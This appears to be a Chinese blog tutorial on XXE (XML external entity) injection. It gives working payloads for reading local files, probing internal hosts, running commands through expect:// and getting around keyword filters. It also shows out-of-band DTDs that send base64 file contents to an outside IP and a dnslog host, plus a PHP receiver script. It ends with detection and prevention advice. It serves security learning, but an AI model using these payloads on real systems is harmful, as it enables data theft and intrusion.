XXE 笔记

一、XXE 漏洞:

1、XML 概述:

(1)概念:
        XML(可扩展标记语言,英文全称:eXtensible Markup Language)是一种用于描述数据结构和交换数据的标记语言。XML是一种非常灵活的语言,可以用于描述各种类型的数据,如文档、图像、音频、视频等。

(2)特点:

1> xml语言是指可扩展标记语言,是一种标记语言,类似于html,html是超文本标记语言

2> xml的设计宗旨是传输数据,html的设计宗旨是显示数据

3> xml标签没有被预定义的,需要自行定义标签,html语言的标签都是被定义好的

4> xml被设计为具有自我描述性

5> xml是w3c的推荐标准

6> xml仅仅是纯文本,他不会做任何事情

7> xml可以自己发明标签(允许定义自己的标签和文档结构)

8> 专门用来存放传输数据的东西

(3)语言格式:

 <?xml version="1.0" encoding="UTF-8"?>   //xml的声明  
 <!DOCTYPE foo [ 
 <!ELEMENT foo ANY >
 <!ENTITY xxe SYSTEM "file://d:/1.txt" >
 ]>                                       //DTD部分
<x>&xxe;</x>                              //xml部分

        首先第一句是声明,声明这是一段xml代码,接下来是一个DTD的部分,意思是读取d盘上的1.txt文件。比如我们经常要用到某一组数据,那么每次都引用,肯定是非常不方便的,所以把这组经常用的数据设置成为一个变量,需要的时候直接调用这个变量,通过以上的解释,我们不难看出,xml如果产生漏洞,那肯定就是在这个DTD部分,最后则是xml部分。 

2、漏洞概述:

        XXE漏洞全称XML External(外部的) Entity(实体) Injection(注入),即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
        简而言之就是,外部实体,也就是我们DTD部分中的变量在加载(引用)外部的内容,从而发起了网络请求(本地请求)。

3、漏洞原理:

        把用户输入的数据当成xml外部实体代码进行执行,利用xml的外部实体去访问内网,访问本机,访问本机的文件。

二、实例演示:

1、访问文件:

<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///d://1.txt">
]>
<x>&xxe;</x>

2、内网探测:

<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "http://127.0.0.1:8080">
]>
<x>&xxe;</x>

3、php 伪协议:

<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=d://phpstudy//phpstudy_pro//WWW//1.txt">
]>
<x>&xxe;</x>

4、若 file 协议被过滤:

(1)payload:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://127.0.0.1/xxe/send.dtd">
%file;
]>
<x>&send;</x>

(2)send.dtd 的内容:

<!ENTITY send SYSTEM "file:///d://phpstudy//phpstudy_pro//WWW//1.txt">

4、没有回显的情况:

(1)payload

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d://phpstudy//phpstudy_pro//WWW//1.txt">
<!ENTITY % dtd SYSTEM "http://127.0.0.1/xxe/send2.dtd">
%dtd;
%send;
]>

 (2_1)send2.dtd

<!ENTITY % payload 
"<!ENTITY &#x25; send SYSTEM 'http://192.168.103.130:5566?data=%file;'>"
> 
%payload;

或(2_2)send2.dtd

<!ENTITY % payload 
"<!ENTITY &#x25; send SYSTEM 'http://127.0.0.1/xxe/1.php?data=%file;'>"
> 
%payload;

(3_1)python 启动服务器:

或(3_2)1.php

<?php
    file_put_contents("1.txt", $_GET['data']);
?>

保存的文件为1.txt

(4)进行 base64 解码

5、dnslog:

(1)payload

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d://phpstudy//phpstudy_pro//WWW//1.txt">
<!ENTITY % dtd SYSTEM "http://127.0.0.1/xxe/send3.dtd">
%dtd;
%send;
]>

(2)send3.dtd

<!ENTITY % payload 
"<!ENTITY &#x25; send SYSTEM 'http://cc.ysgkm6.dnslog.cn?data=%file;'>"
> 
%payload;

(3)只能查看是否存在 xxe 漏洞

6、xxe-lab

(1)payload:

<?xml version="1.0"?>
<!DOCTYPE chun [
<!ENTITY admin SYSTEM  "file:///d://phpstudy//phpstudy_pro//WWW//1.txt">
]>
<user><username>&admin;</username><password>123</password></user>

(2)回显成功:

7、expect 执行命令:

若开启了 php 拓展,可以执行命令:

<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "expect://whoami">
]>
<abc>&test;</abc>

三、绕过:

(1)ENTITY、SYSTEM、file等关键词被过滤,可以采用编码的方式进行绕过,16进制等等

(2)若http被过滤,可以采用data://协议、file://协议、php://filter协议等等绕过

四、漏洞检测:

1、观察 http 请求头和请求体:

(1)请求头:

(2)请求体:

(3)设置过滤查看 xml 内容:

(4)把请求的请求头和请求体改为 xml 格式再提交,查看页面回显

(5)提交此段内容会有回显 xxe:

<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY b "xxe">
]>
<c>&b;</c>

五、漏洞预防:

  1. 禁用外部实体扩展(XXE):在XML解析器中禁用外部实体扩展,以防止解析外部实体。具体方法取决于所使用的编程语言和库。

    (1)PHP
    libxml_disable_entity_loader(true);
    
    (2)JAVA:
    DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
    dbf.setExpandEntityReferences(false);
    
  2. 仅使用受信任的XML数据:不要接受来自不受信任源的XML数据,或者在接受之前对其进行充分验证和清理。

  3. 谨慎处理敏感数据:不要在XML中包含敏感信息,尤其是在处理用户输入时。

  4. 限制XML实体的使用:如果需要使用实体,确保只引用预定义的实体,而不是用户提供的实体。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值